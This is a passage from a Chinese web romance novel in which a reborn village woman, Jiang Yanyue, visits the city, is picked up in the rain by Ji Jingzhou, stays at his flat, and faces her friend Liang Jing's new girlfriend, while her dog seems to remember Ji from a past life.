狗围着纪景州,摇尾,吐舌,纪景州开始让了一步,站在原地没动,江言月也没看出他有多害怕。
江言月没想到东湖死后重生,硬生生把纪景东看顺眼了,没忍住一笑,纪景东刚好看过来,他愣了一下,低头看狗。
“它不咬人,很乖的。”江言月柔声说,“大概它也喜欢长得好看的男人。”
纪景州挑眉,看她一眼,没说话。
江言月瞥见他微红的耳根,偷笑了一下,没想到这人脸皮那么薄,经不起撩拨,她故意这样说缓解一下纪景州的紧张感。
“你要不要脸……”纪景东冷嗤一声,“别见男人就上赶着撩拨,先称称自己几斤几两。”
江言月冷脸望过去,“这就是你跟别人合作的态度,你觉得我们这样能合作吗?”
纪景东嘴硬:“谁说要跟你合作!”
“不是就行,我也不会选择跟一个游手好闲的男人合作,”江言月冷笑,一脸鄙夷提醒,“抢项目你更别做梦,哪怕到时候项目启动,你家的地不愿意签合同,也不可能影响我的项目进程,你对我来说,从来都是可有可无。”
她竟然还想着让纪景东加入,真是疯了。
“二百!滚过来,走了!”江言月踩下油门大喊。
八月依依不舍跑过去,都不知道主人什么时候才能不怕它,接受它,它委屈死了,没想到重生后,主人把它忘得一干二净就算了,看到他的女人也不主动点,这样他们什么时候才能在一起。
只有他们在一起它才有更多机会跟他们在一起。
江言月带狗径直离开,谁也没看。
她刚才只是看纪景州有点紧张,缓解一下尴尬。
狗盯着纪景州干什么,江言月想不通。
每次狗见到纪景州比遇到她还熟。
为什么?
江言月一时想到东湖那晚。
不对应该是那几晚。
她把纪景州看成“石墩子”。
第二次死的时候,她坠湖也看到“石墩子”。
是不是那次坠湖,狗跑过去也是因为纪景州受伤躺在那里?
江言月醍醐灌顶。
一定是这样,她当时慌张骑车坠湖,从那空地一晃而过,来不及看清。
可是狗不一样,狗的嗅觉很灵敏,所以它才会一次又一次缠着纪景州。
两次都死在同一地方,到底老天是要告诉她,她会死在那里?!还是纪景州命里有那么一劫?
谁要置他们于死地?
真是要命。
还有秦悦说的那些话。
谁来为她解答,活下去真不容易!
不能再想了,想了头大。
江言月祈求老天,如果再死,她一定要看清对方是谁。
前两次虽然死于意外,最后一次可是,妥妥被害。
老天给她开外挂,让她死而复生,可那种恶魔,活着不知得害多少人。
三个月时间限制打破,江言月也没法,有机农场项目她只能做两手准备。
她选定的人是纪年,她准备让纪年参与所有策划,这样哪怕她死了。
以纪年的品行,一定会照顾好外婆。
至于项目,如果纪景州助他,也不会出什么大问题。
前提是她得确定纪景州可以帮助纪年。
一个星期后。
市区那边有新销售渠道。
江言月提前一天准备好东西,去市区。
她这次进城除了拿下销售渠道,顺便看一下梁靖女朋友是什么天姿国色。
另外观察一下纪景州,看他到底是什么脾性的男人,能不能靠得住。
江言月出师不利。
出门时晴空万里,她把狗和车放在秦悦父母家。
坐班车去了省城。
带了一些土特产给梁靖,大包小包什么都有,快20公斤。
一个小时车程,刚下班车,便开始下暴雨。
下车拿好东西,梁靖那边电话打过来。
江言月把东西放在站台上,拍了拍雨水,接通电话:“喂?”
“你到哪里了?”
“刚下车,我没带伞,等下过来给你送东西。”
“一起吃晚饭吧!”梁靖说。
“行!”
“不过我要去接我女朋友,她刚下班,车站离我太远了,我过来接你的话,她等的时间太久,不好!”
江言月的心,顿时比天气还凉,她无数遍提醒自己跟梁靖只是朋友,做朋友的话,梁靖已经超过很多人。
可听到他对别人那么好的时候,还是忍不住难受。
她排在了他女朋友后面,应该的,她依旧难过。
江言月正想回“没事”。
梁靖声音又传过来:“你听得到我说话吗?”
“嗯。”江言月鼻头一酸,如果她不带那么多东西,就不会这么狼狈,梁靖不缺这些东西,她非要把自己搞成一个小丑。
“我来不了,我叫景州过来接你,到时候我们去饭店碰面,时间差不多。”
江言月失语,都不知道梁靖是不是成心把她推出去。
“你别多想,没别的意思,他顺路。”
挂了电话。
江言月想起来忘了问梁靖,纪景州同意吗?
算起来,他们几面之缘,不算有交集,开车过来接她!
会愿意?
陌生电话打过来,归属地东城。
江言月接通电话,没开口。
纪景州声音传过来:“你在车站里面?还是外面?”
江言月回:“里面,出口这里。”
“等我,我20分钟左右到。”
“嗯。”
…
纪景州语气里没有半分不耐烦,声音比他前几次见他还温柔,江言月有些不好意思。
上辈子因为误会还把他当变态,大吼大叫。
可她也为救他而死——
算是抵消了恩怨,只是代价太大。
20分钟以后。
江言月在车站里面,远远看到撑着黑色伞朝她走来的纪景州,有些出神。
他今天穿了一身西服,比以往穿休闲装看起来更沉稳矜贵。
五官优越,让她有种似曾相识的错觉。
大概是跟哪部豪门电视剧里,贵公子出场的场景重合了。
“东西都在这里了吗?”纪景州扫了一眼,她脚下的大包小包问。
江言月点头。
纪景州把伞递给他,江言月一愣没接,他伞已经塞她手里:“你撑着
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伞,我提东西,我只带了一把伞。”
“不用!”江言月把伞塞过去,“你撑着伞,我提东西就行。”
纪景州没接,江言月没放手,一推一攮,伞上的雨水,全被他们弄在对方身上。
江言月白色衬衣上全是雨点子,有两滴在胸口,胸口若隐若现,纪景州不经意扫到连忙别开脸。
一时尴尬得要死。
江言月趁机把伞递在他手里。
纪景州扭头看着她的脸,小声说:“我提得动。”
“我提习惯了!”江言月三下五除二提起袋子,故意提的特别高遮住胸口。
纪景州只能由着她。
东西放在后备箱。
江言月坐在副驾座,低头看着自己这若隐若现的胸口,浑身不自在。
纪景州目不斜视。
她如此狼狈,等下去吃饭,还不被人笑掉大牙。
在车上憋了10分钟,江言月没忍住问:“你知道这附近哪里有商场吗?”
“拐弯就是。”纪景州下巴扬起,对着斜对面大楼。
江言月一愣,巧到都得以为他故意开到商场来的了。
车停在商场地下车库。
看着电梯口来来往往的人,江言月犯难,迟疑半天没下车。
纪景州在门口等她。
她深吸一口气,一鼓作气下车,把后面马尾辫拉过来挡着胸口,于事无补,走了两步,马尾又甩回后面。
江言月缩在纪景州后面,祈祷他能帮她挡住一下人。
没走两步,前面纪景州定住,回头问她:“要不你穿我的西服外套?”
江言月一怔,没回话,这样会不会太暧昧,可她别无选择,电梯口还站着一堆人,也不知道是不是因为纪景州出色的外貌,引人注目。
总感觉那堆人,时不时偷瞄他们。
江言月问:“你方便吗?”
“没事。”说着纪景州脱下外套,放在她手里。
他个子高,外套穿起来很合身,她中等骨架,套上外套绕了她一圈半。外套里还残留着他的体温,瞬间被一股热气环绕,整个人不受控热起来,脸也控制不住发热,抬眸望向纪景州,目光刚好与他撞上,吓得她干笑一声,连连低头,不自在念叨:“衣服有点大,你冷不冷?”
“嗯,是有点大,可能怪你太瘦了,我不冷。”纪景州局促,收回视线,往电梯口走。
穿上外套,他们也没有摆脱一路异样的眼神。
江言月被迫绕了商场大半服装店,都没有找到一件满意的衣服。
服装店里,不是裙子,就是职业装,门都没进,江言月忙着逛下一家,结果风格大同小异。
纪景州倒是没有不耐烦。
江言月心灰意冷时,看到一家休闲风的店铺,带着纪景州过去。
“美女喜欢什么款,我跟你找。”导购热情招呼。
江言月一眼看到墙上挂着的一套搭配好的套装,上面蓝色休闲衬衣,下面搭了一条浅蓝色牛仔裤,她指着说:“拿下来,我试试。”
衣服穿起来正好,江言月很满意。
导购又给她拿了一件粉紫色外套,她顺带穿上,还不错,可她不打算买,颜色太浅,好看不好打理。
江言月脱下来拿给导购,导购笑问:“美女外套不喜欢吗?你穿起来很好看。”
江言月:“要我身上这套,你帮我把吊牌剪了,结账。”
导购不死心:“不喜欢这件,我给你找别的款。”
“不用了。”
导购剪了吊牌,江言月回试衣间拿衣服。
出来的时候纪景州在收银台站着,扬起手机。
“滴——”一声。
江言月头皮一紧,飞奔过去,拽开人:“不要你跟我付钱,我自己会付。”
打印机小票已经打印出来。
导购目瞪口呆,望着他们,
纪景州领口在她手里,扣子掉了两颗,脖颈处一道刺目的红色抓痕,触目惊心。
江言月下意识摸上去。
纪景州截住她作乱的手。
两人不约而同望向对方,僵住。
16. 第16章
纪景州肯定误会了。
她只是太担心,乱了分寸。
可无法解释,江言月不明白为什么每次遇到他,都会失控。
跟别人凑近点,都觉得反感,对纪景州呢!
会不由自主担心,触碰……
纪景州脖颈已经红透。
江言月抽出手,低声说:“对不起!”
“没事!”纪景州拢了拢衬衣领口,遮住那绯红脖颈抓痕。
脖颈红气,遮不住,伤疤倒是遮得刚好。
江言月一时眼睛都不知道看哪里,只能看向导购。
导购挤出一个笑容,装好衣服的袋子递给她说:“美女男朋友给女朋友买衣服很正常。”
江言月僵住,里面是那件粉紫色外套,迟疑片刻,她还是开口:“你把衣服退了!”
导购犯难地望着纪景州,纪景州接过衣服,冲她柔声说:“很好看,别退了。”
江言月脸一热,无言以对。
导购试衣间门口货架上拿回,她刚来挂在上面的脏衣服包了起来,递给纪景州。
纪景州接过,把另外一个袋子递给她:“外面有点凉,外套你穿上吧!”
江言月抬头,纪景州眉眼间,满是关切,真像是对待女朋友一般用心,她受了蛊惑,听对方的穿上衣服。
一时联想到梁靖电话里说,他跟女人很有距离感,她真没发现。
两人出了服装店,江言月以为纪景州要去买一件新衣服换上,正好她可以替他付款。
结果一进电梯,电梯门打开,已经是地下出库入口。
她没忍住扫了一眼纪景州,早已敞开的领口,不可能让他穿着这衣服去吃饭吧!问衣服怎么办!
纪景州说回家换一下,他家在附近。
江言月赶紧加对方微信,说是把钱转给他,微信加了钱没转过去。
纪景州不收。
江言月犯难,口不择言,回不收就回去把衣服退了。
逗笑纪景州,他说穿过的衣服,吊牌一剪,退不掉,实在觉得不好意思,以后过市里,多给他带点家乡土特产。
江言月只好把拿给梁靖的东西匀出三分之一,送给纪景州。
纪景州没拒绝。
两人一起回了公寓。
纪景州所在的小区是新小区,绿化环境很好。
他住在5楼,标准三室一厅格局,装修极简奢华。
屋子里家具一应俱全,地上一尘不染,像是没人住一般。
纪景州去卧室换衣服,江言月把东西放在厨房岛台,回到沙发上坐着,浑身不自在。
过了两分钟,纪景州换上一套休闲套装出来,领口抓痕若隐若现露出来。
纪景州感觉到她的目光,拉了拉领口,问:“你要喝水吗?”
江言月摇头,站起来:“走吧!”
两人走到门口,江言月顿了顿,扭头看他,厚着脸皮问:“你要不要处理一下伤口?”
纪景州低头看她,微微一笑:“不用,小伤,你这抓人的力气还挺大,上次……”
“上次我是太激动!”江言月打断。
“那这次呢!”纪景州不给她回答的机会,追问:“这次更激动?”
她就知道这人想多了。
“我担心你!”
“两次都是吗?”纪景州挑眉盯着她,似乎怕她撒谎。
江言月对上他的眼神回:“自然两次都是。”
纪景州佩服她撒谎时的坦荡,上一次在东营村见面,仿佛上一刻,骂人的不是她,影后情绪转化都没她那么快。
前一秒剑拔弩张,后一秒无微不至。
仿佛在那一秒钟换了灵魂,住身体里。
后来他打电话给梁靖,梁靖一直在说她的好话,梁靖告诉他,江言月多不容易,多勇敢,他莫名其妙的心疼,看到大哥那副嘴脸,让他很反感。
一个星期不见,听到梁靖叫他接人,他还有些激动。
两人现在只是站在一起,纪景州也觉得很开心,很陌生的感觉,跟别的女人从来没有过。
回市里那天,她的狗围着他打转,她调侃他,狗喜欢长得好看的人,他也开心。
纪景州一时不知道怎么办。
难道这就是喜欢?
太荒唐了,他们才见过几面。
他一向认为,爱情应该是深入了解后的坚定选则,那曾想江言月只是简单撩拨,他就城门失守。
可仔细一想,不可能是爱情,大概是这么多年跟女人保持距离习惯了,所以只是简单的撩拨就忍不住产生欲望。
不是爱情,纯粹的男女之间性别吸引。
纪景州半天不说话。
江言月追着无力解释:“我那天本来以为你是变态,可仔细一看,你长得不像变态。”
纪景州被她逗笑:“谁告诉你,看脸就能分辨出别人是不是变态?”
“这是女人的直觉,你不懂。”江言月打开门出去,生怕下一秒,纪景州又追着问。
去餐厅的路上。
纪景州问她关于项目的事情。
给了她一些建议。
江言月没忍住问:如果将来因为项目的事情,她跟纪景东闹僵,他会帮谁。
纪景州迷惑看向她说,项目的事情,怎么会扯上他。
是这个道理。
她只是假定自己会死,假定留下纪年,她想让纪景州帮助纪年。
可又一个念头,冒出来。
她要是死了,纪景州估计也活不了,毕竟两次意外,他们都是在东湖碰面,而且他都是重伤。
谁知道她死了以后,他是不是也死了。
这是一个悲催的意识。
他们两人都是短命鬼。
江言月想好了,如果纪年老爸生日,纪景州注定会回去。
生日那天,她一定要想方设法,不让纪景东去东湖送命。
这样哪怕她死了,纪景东也能留下来,助纪年一臂之力。
纪景州这人,通过这段时间观察,人品确实没什么问题。
江言月觉得结论至少有点“拿人手短,吃人嘴软”的嫌疑,被她自动忽略。
他们先到的餐厅,两人聊到她跟梁靖不一样的专业为什么会成为朋友。
门口踏踏踏高跟鞋撞击地面声音传来,江言月听到几声调笑。
她盯着门口,一个穿着白色蕾丝裙的女人挽着梁靖的手进来。
女人皮肤白到发光,精致的妆容,让五官看起来完美无瑕,像个不食人间烟火的小公主。
她头靠在梁靖肩膀,冲他们微笑,挥着手:“你们好啊!”
嗓子跟抹蜜一样,又甜又润。
“你好!”江言月机械回问一句,偏头不自在的望向身旁纪景州。
纪景州点头示意,没说话,提起茶壶给她添了点茶水。
梁靖他们拉开凳子坐下,纪景州淡淡道:“等你们,等得人都饿扁,等下你们买单!”
“当然,你帮我接人,怎么能让你买单。”梁靖看着她说。
江言月总感觉不自在,此刻的梁靖也带了些疏离拘谨。
没谈恋爱的时候,他会把菜单先给她,说江小月,你要吃什么自己点。
此刻梁靖把菜单递女朋友手里,侧身凑过去看着女朋友点菜。
江言月心彻底凉透,胃口全无,傻傻地四处乱看,刚好撞上纪景州打量的眼神。
“你要吗?”纪景州拿着菜单问。
江言月摆手:“我不挑食,你们想点什么都可以。”
“江小月,你倒是会撒谎,什么时候变得什么时候都吃了,”梁靖笑着看过来,叮嘱纪景州,“别听她胡
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说她不吃能吃太辣,太甜,吃了会长痘。”
梁靖女朋友脸一僵,看了看他们,眼神似乎在问,你怎么知道这么清楚!
梁靖那边读懂解释:“我们6年多的好兄弟,她的口味我还能不知道。”
一把无形的剑又正正戳在江言月胸口。
6年前,她正好没有课,遇到梁靖一个人在搬实验室器材,站在4楼楼梯间,气喘吁吁。
她过去帮忙,轻松接过他手里东西,一气呵成放到实验室。
梁靖赞叹不已,夸她力气大。
她农村长大的孩子,力气自然大。
两人一来二去熟了以后,梁靖隔三差五找她帮忙。
事情做好以后请她吃饭。
后来学校有女生追他,被他拒绝了。
她好奇问,为什么拒绝。
梁靖笑回,要找个比她好看的。
江言月也不知道什么时候对梁靖动了别的心思。
大概是毕业那年,她要回村发展,梁靖冲过来抱住她,说舍不得她。
学电视剧里那种俗套剧情问,要是他们30岁还没结婚,就在一起行不行。
她当时叫他别做梦,却错把戏言当了真。
眼前这女人比她好看?
江言月扫了一眼梁靖女朋友,陷入自我怀疑,她自负的认为,如果她也化上精致的妆容,穿上漂亮的裙子,应该不会落入下风。
可哪怕如此又有什么用,梁靖又不喜欢她。
梁靖女友看她一眼,脸上又挂上笑容:“他就这样,朋友不论男女全当兄弟。”
梁靖笑了两声,补充:“我说的兄弟,是那种亲兄弟,不是一般的兄弟。”
江言月上灌一口茶,想让那凉透的心暖上一分,没有用,茶是热的,心依旧很凉,还差点呛到。
纪景州给她递了一张纸,她接过胡乱擦一通问:“你还没介绍你女朋友叫什么名字呢?”
“宋玉洁!刚才忘记介绍了。”宋玉洁嗓音比刚才正常许多。
江言月差点没听出来是一个人的声音:“我叫江言月,我也忘记介绍了。”
宋玉洁说:“你这名字取得挺有诗意。”
“嗯!”江言月随口回。
名字外公找老师取的,因为她是没人要的孩子,老师眼下意思叫她别执着于谈风弄月,执着于自身,算是一种警告。
她忘记警告,才让此刻狼狈不堪。
纪景州菜单递给她问:“你看你喜欢吃什么菜?”
菜单上点好的菜,几乎她都爱吃。
也就没点。
吃完晚饭已经8:30。
如果在村里,她都快准备入睡了。
几人一同下餐厅。
江言月纠结要不要把车上东西拿给梁靖,一番心理斗争过后。
江言月跟梁靖说带了点土特产给他。
梁靖眼底全是尴尬,硬挤出个笑容,“我今天要去小洁那里,要不先放景州家,明天我过来拿。”
江言月脸短暂一僵,机械点头。
“给我的,哪里有拿回去的道理。”纪景州笑着说,“你想吃恐怕只能等下次了。”
“好!那下次!”梁靖如释重负。
宋玉洁脸色变了一下,笑起来:“你要吃什么我给你买,小月从那么远地方拿东西过来,那么辛苦,你也好意思经常麻烦别人。”
是挺辛苦,江言月不知道她那根神经搭错,要自取其辱。
…
回到车上,江言月一路没说话,她想不通,为什么那么大的车,会一点土特产都放不下。
大概是心太小,觉得丢人了。
江言月讥笑一声,有些想哭。
车突然停下来,江言月扭头看过去,眼眶红红的。
纪景州目光一深问:“你喜欢梁靖?”
17. 第17章
“我们是好朋友!”江言月偏头避开他的打量,抹掉挂在眼角泪珠,“看到他找到心仪的人,替他高兴。”
“嗯。”纪景州点头,没再说话。
她衣服在纪景州家里,纪景州给她放在洗衣机里了,洗衣机自带烘干功能,告诉她吃饭回去,衣服就可以了。
两人提着东西上楼。
进门把东西放在厨房岛台,岛台堆得满满当当。
纪景州叹了一口气,有些心疼瞧着她:“下次别带那么多东西,你没车不方便,东西太难拿了。”
“好!”江言月转身坐到沙发上,任由心里那股失落自嘲压过来。
没有下次,下次她再也不带东西,甚至梁靖她都不想再联系。
她不喜欢梁靖女朋友,感觉那女人不真诚。
虽然她对梁靖是藏着别的心思,可那也仅仅是以为梁靖单身的时候,知道他有女朋友,她便死心了,从来没有想过以后他们会发生什么。
她不想失去梁靖这个朋友,他们一直以朋友相处,从未越举。
梁靖如今这态度,她会让两人之间的距离拉得很远很远。
“你明天去哪里谈项目?”纪景州问。
“西站那边。”
“几点?”
“早上九点。”
江言月没忍住,打了个哈欠。
纪景州没回话,在她旁边坐下,迟疑半晌才开口:“要不你住我家,反正我也是一个人住,房间空着也是空着。”
江言月怔愣住。
纪景州补充:“我是觉得你现在过西站太远了,雨天也不好打车。”
话都说到这份上,江言月只好同意,她也困得要命。
纪景州客房床单崭新如初,可见平时没什么人住。
纪景州还要给她换上新床单。
她婉拒,纪景州说长时间没人住,灰尘很大。
纪景州拿来新床单正要换,兜里手机铃声响起来,是视频电话。
江言月扫到显示屏上的名字——谢韵。
纪景州眉头微皱,镜头对着脸,按下电话。
“哥你在干嘛呢?”一个清脆的女声从电话里传来。
“在铺床。”
“爸妈烦死了,假期我不想回家,要不我过你那边来住几天?”
“别闹!”纪景州掷地有声拒绝。
“哼……”谢韵嘟嘴生气,“你是不是回家一趟,见到你那个妹妹,又把我忘了。”
“别胡说,爸妈想你了,前两天就给你买了许多你爱吃的东西放家里等你回来。”
谢韵撒娇卖萌许久,纪景州才挂断电话。
江言月不好意思问:“是不是我在这边影响你了,我可以去小区旁边酒店住的。”
“不是,跟你没关系。”纪景州拿起被单继续铺,“如果我妹过来,大概率我也得回去,我周末不太想回去。”
江言月看到他眼底的落寞,她懂那种感觉,永远无法融入别人幸福的感觉。
纪年说纪景州在东城发展的很好,除了感情方面不太顺利,事业蒸蒸日上,好像纪景州是梁靖领导。
年纪轻轻身居高位,的确很优秀。
“你可以出去走走。”江言月拉着被单另一边拐角,塞在床垫下面。
纪景州挑眉问:“你的意思是回东营村?”
“不是,你平时周末都做些什么?”
“我一般周末都待家里,或者去图书馆找几本喜欢的书看,要么去健身房。”
江言月噘嘴点头,得亏他还会去健身房锻炼一下,他的个人生活真是简单又无聊。
两人又不知道说什么,装被子,江言月也帮不上忙,只能干站在旁边,等着他弄好。
纪景州突然抬眸看过来,江言月有些不知所措。
纪景州犹豫片刻开口问:“你要不要先去洗澡?”
“啊?!”江言月傻眼,他这里也没有可以换洗的衣物。
“不洗也没事,我随口问问。”纪景州也一脸害羞,低下头。
被子都换好了,江言月觉得不洗说不过去,最后只能厚着脸皮问他要睡衣。
两人尴尬得要命。
江言月后悔,早知道这样,不论如何她都要去去酒店住,在这里添什么麻烦。
出来刚好遇到从主卧出来的纪景州,江言月把手里洗好内衣内裤,攥手里,尴尬的脚趾抠地。
走到门口,江言月觉得内衣内裤挂在外面不可能会干,又扭头问他:“你那洗衣机可以直接烘干吗?”
“嗯!”纪景州喝了一口水。
脸都丢了,也不在意丢多丢少,她追问:“怎么用?”
纪景州愣了一下,朝她走来,那架势好像要把她手里内衣内裤接过去。
江言月连忙把东西放在身后,“你教我就行。”
江言月站在洗衣机面前,纪景州示意她把衣服放进去。
江言月打开洗衣机,放进去。
纪景州鼻尖缠绕着一股沐浴露的清香,却不是他身上的味道,一垂眸,一片雪白起伏便入了眼,跟脖颈上皮肤颜色有些出入,他扶在洗衣机上的手一僵,迅速移开目光,忘了下一步动作,那一片白却在脑海挥之不去。
江言月抬头问:“是不是太少不好……”
对上纪景州薄红的脸色和局促的目光,江言月没说下去。
瞥见自己松垮的领口,脸瞬间红温,急忙拉拢领口,慌张起身,正好撞上纪景州肩膀。
纪景州眼疾手快扶住她肩膀,稳住人。
“你跟我弄一下,我走了!”江言月不敢看他,挣脱他的手,径直跑回房间,倒在床上时,脸已经红得像番茄,她用被子盖住脸,光都不敢见。
这人不懂非礼勿视吗?
她现在真想挖个坑把自己埋了,没脸见人。
刚才蹲下来的时候怎么会那么不小心,忘了纪景州卫衣领口太大,里面什么都没穿。
刚才他拿睡衣给她,她嫌太薄,没有要,换了这件卫衣,适得其反,这跟裸奔有什么区别。
一时间那股压制不住的睡意都被驱散。
半夜12点,江言月依旧没有半点睡意。
隔壁主卧纪景州也一样,一些乱七八糟的念头冒出来。勾起一些不该有的想法,浑身燥热,他都想回卫生间洗个冷水澡。
直到回忆起晚饭时分,江言月看梁靖的眼神,他才慢慢冷静下来。
他不知道为什么,天生对男女之情比较敏感,用很短的时间,他就能察觉出对方的心思。
以至于这么多年,只要有女人对他有点别的意思,他就会想法设法敬而远之。
梁靖还开玩笑问他是不是不喜欢女人。
不是不喜欢,是没遇到喜欢的。
而江言月。
他想
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着很她保持距离,却忍不住靠近。
现在纪景州甚至觉得,哪怕她是个感情骗子,玩弄人心的妖精,可能江言月一招手,他就得拜倒在她的石榴裙之下,可是江言月心里放了别人,不可能那么做,她也不是什么感情骗子。
27年,他引以为傲的自制力,不知道在哪一刻分崩离析。
他怀疑是从刚见面那天,她纤细柔软的指尖,在他脸上游走时,勾走了他的魂。
让他做梦都摆脱不了江言月。
这样很不好。
一点都不好。
生平他最讨厌爱一个人失去自我,他不想做那种人。
他们之间也谈不上是爱。
纪景州拿起手机,点开deepseek查这种情况。
机器人给出的解答。
生理性喜欢,多巴胺作祟。
纪景州苦笑。
解决方案。
保持距离,减少接触,做别的事情转移注意力……
等过段时间,自然会消退。
领口处抓痕微痒,他摸上去,仿佛回到商场服装店里江言月指尖划过的时候,那股刚消下去的火又烧起来,比刚才还旺盛。
纪景州暗自下定决心,明天以后,一定保持距离,否则他都不用谈恋爱,就可以把自己折磨至死。
江言月睡得晚起得早,6点准时醒来。
去卫生间轻手轻脚洗漱好,纪景州主卧依旧没有动静。
她回到卧室躺着,萎靡不振。
要不老祖宗怎么一直提醒人们早睡早起,她才熬一天夜,精气神全然消失不见。
江言月眯起眼睛躺床上,眯着眯着就睡着了。
敲门声响起,她连忙从床上弹起来,打开门看到纪景州人都是懵的。
纪景州脸色也不太好,问:“你不是要去西站那边吗?我送你!”
江言月看了一下腕表时间7:40,顿时松一口气,还好来得及!
“不用,我自己过去,”江言月扫了一眼窗外,“天晴了,打车很方便。”
说着她拿出手机,从打车软件上叫车。
纪景州没说话,只是看着,她选位置的时候他提醒,“从东门上车,东门更近。”
江言月选好车就忙着出发了。
纪景州刚想说要不要等下打,发现她已经换上自己衣服。
江言月上车了车,总觉得忘了些什么。
快要下车才意识到,昨天买的衣服,还在阳台上挂着。
纪景州发消息过来。
她说下次过来拿。
纪景州回好。
江言月都怕纪景州以为下次还去他那边住,不可能,再住她就是狗,以前没在哪个男人家过过夜,哪曾想如此不方便。
项目是之前合作的项目,重新谈一下价格就行。
没什么大变动。
江言月从甲方公司出来,回了车站。
回县城一个小时车程,她还去秦悦家蹭了一顿午饭。
吃完午饭,她带着狗骑车回了家。
她叫纪年自己去挨家挨户收货,毕竟想把项目交给他,得一点点锻炼纪年,让他自己扛着重担。
她呢,能活着很好,活不了她也没办法!
只能看天意会把她推往生路,还是死路。
生死有命,富贵在天。
死多了,也就麻木了。
18. 第18章
又是农忙时节,重生以后亘古不变的事情——干农活。
江言月整天陪着村民在地里忙活,过着千篇一律的日子。
不是施肥就是浇水,好在纪年不负重任,负责去给她卖菜,收益他们平分。
她稍微轻松不少。
转眼3月死亡倒计时,过2月,最后一个月,收菜。
市里过来拉货的大车停满村子。
东营村地势好,几乎没什么坡,最大的坡就是去她家那条路上的小斜坡,坡度30左右,还好。
要是修公路时往下一点挖,那这个坡都不会存在。
修路时,东营村那边的人没同意,因为占了耕地,不同意人之常情。
只是现在拉菜,卡车过这个坡没那么顺畅。
两辆装满菜的大车,前后从坡下面驶过来,江言月站在山坡紧张到咬牙,生怕侧翻。
大车平稳爬上来,她才松口气,货车司机跟她打招呼说走了。
她提醒他们注意安全。
骑上摩托车,打算回家,狗却站在原地不动,往卡车离开的方向张望。
它又发现什么鬼东西?
江言月顺着看过去,一辆黑色小轿车,拐弯进了村里小道,那是去纪景东家的路。
那车有点眼熟——
半晌江言月才想起来是纪景州的车。
“你鼻子倒是挺灵,隔几百米都能认清人!你真救人救上瘾了。”江言月小声打趣狗,也不管它能不能听懂。
八月叫唤两声,两个月了,主人终于回来了。
主人现在的状态是眼里没有老婆,也没有它,情况很糟糕。
要是主人跟别的女人在一起,那它不是永远不可能回到主人身边?
它绝对不能让这种情况发生,它没那么喜欢江言月,可更不喜欢别的女人。
他们在一起虽然碍它的眼,但是很搭,天造地设,这是八月一直不愿意承认的事实。
狗站着发呆,江言月没好气喊,“二百还不上来!”
八月跳上车。
江言月车开了几百米,停到公路边,带着狗回菜地里收拾残局。
地在公路下面。
菜都是靠人工背上来的。
她装了满满一背箩筛下来不合格的菜,差点没背起来。
纪年不在家,去县城卖东西了,不然早叫他过来帮忙拉货了。
背上公路,她早已大汗淋漓,背箩靠在公路墙梗落地,倚在箩筐上休息。
听到车轱辘声,江言月抬眼,一辆黑色小轿车迎面驶来,驾驶座的纪景州看到她,拧起眉头,转眼间车在她旁边停下。
纪景州仓促从驾驶座下去,站在江言月跟前,伸手拉她:“你没事吧?”
江言月一愣连忙摆手,她现在倚在背箩的模样有点像被背箩坠倒,起不来。
江言月解开肩膀上的背箩双肩带,站起来:“我没事,有点累,不想起来,躺着休息一下。”
躺在墙梗的背箩装满还冒尖40公分。纪景州瞧了一眼,抿了抿嘴问:“还有吗?你是打算背回家,还是拉回去?”
“拉回去,上坡背太累了,还有一半吧!”江言月叹一口气问,“你过来干嘛?”
“我给你送衣服过来。”纪景州避开她炯炯有神的目光,偏头假意看公路下面菜地。
“哦。”其实那衣服平时穿不到,颜色太浅,不耐脏,这两个月她也没空进城。
“我帮你下去背一趟,你把菜放在我后备箱,等下我跟你拉回家。”
江言月挑眉,尴尬一笑,“不用,我自己背就行,你这轿车弄脏不好洗。”
纪景州没回话,走过来拖箩筐,江言月按住他的手:“你别管,等下你小叔会过来帮我。”
纪景州僵住,感觉有股电流直击他的心脏,那本就不安分的心脏,跳动的更欢快,他连忙抽出手,怕慢一步,心跳失控而亡。
江言月目光在他休闲套装上一扫而过,“而且你衣服不方便,脏了我可没衣服给你换。”
纪景州看了她一眼问:“你跟我小叔关系很好吗?”
“还不错。”江言月回。
纪景州心情顿时低落下来,没说什么。
江言月顺势坐在背箩上,补充道:“我跟他认识三年了,他帮了我不少忙,他是我的最佳搭档。”
江言月眼底流光溢彩,纪景州胸口却微微发堵。
帮倒忙的狗,嘴里叼着一棵菜,仓促跑往他们这边,逗笑江言月。
刚才拦都拦不住,上来它又跑回菜地,还以为它有多大本事。
八月把嘴里菜放在江言月脚下。
江言月言不由衷摸着狗头夸奖:“真棒!”
八月挣脱江言月的手,跑主人旁边,主人这是准备出手追人了吗?
纪景州一愣,局促地学她伸手去摸狗头,生硬挤出一个笑容,比哭还难看。
江言月没忍住说出心里话:“你之前养过狗吗?”
“没有!”纪景州越摸越大胆,从狗头摸到脖子,“我也不知道你这狗为什么盯着我!”
江言月笑回:“那可能是上辈子见过,说不定上辈子你是它的主人。”
八月叫了两声,完全说中。
纪景州也被她逗笑:“想不到你一个大学生,竟然也信鬼神。”
江言月一开始不信的,可那么多次死而复生,想不信都难。
可能上辈子的自己真死了,而意识却在平行时空穿梭,回到此刻的自己身上,这是她做的大胆猜测。
见江言月一脸愁闷,不说话。
纪景州也没忍住把藏在心底的话说出口:“如果真有上辈子,我觉得我应该见过你,在很早很早之前。”
江言月微愣,莫非他也重生了?
“你看,只有你能开玩笑,我开玩笑都吓到你。”纪景州被她盯得不自在,笑两声掩饰心里的不安,他从好几年前一直做那个追着别人跑的梦,这两个月本来想保持距离,戒断。
别说戒断,他几乎每天做梦,梦到江言月,而且有一次两人还发生不可描述的事情。
梦里他别提多失控。
哪怕是梦,他依旧觉得自己很下流。
戒断失败,他还偷偷每天逛她朋友圈,等着她过市里来拿东西,能见个面。
等了两个月没有消息,他坐不住,只能趁着周末放假过来找人。
“纪景州——”江言月一脸淡漠叫他,每次叫他名字都觉得很怪。
“怎么?”
江言月咬牙问:“你爷爷生日你要回来吗?”
“应该会回来,怎么了?”
“没事,随口一问。”江言月怕他过来又有危险,又不能神颠颠告诉他,那天会有生命危险,还是个不见得会发生的危险。
一开口任谁听这些话都会觉得她疯了。
纪景州也没追问,看着离公路百米的菜地说:“要不…先把菜背上来,反正小叔也没过来。”
江言月木讷点头,她都没联系纪年,刚才也随便找个借口罢了。
纪景州拿着背箩先下小路,狗后脚便追着他屁股后面跑了。
“靠——”
江言月暗骂,它还真当自己上辈子是纪景州的狗了。
上辈子它的主人是秦悦。
这倒胃口的毛孩子。
纪景州在装菜,狗忙着帮倒忙,一颗颗叼过去,上面全是它的口水。
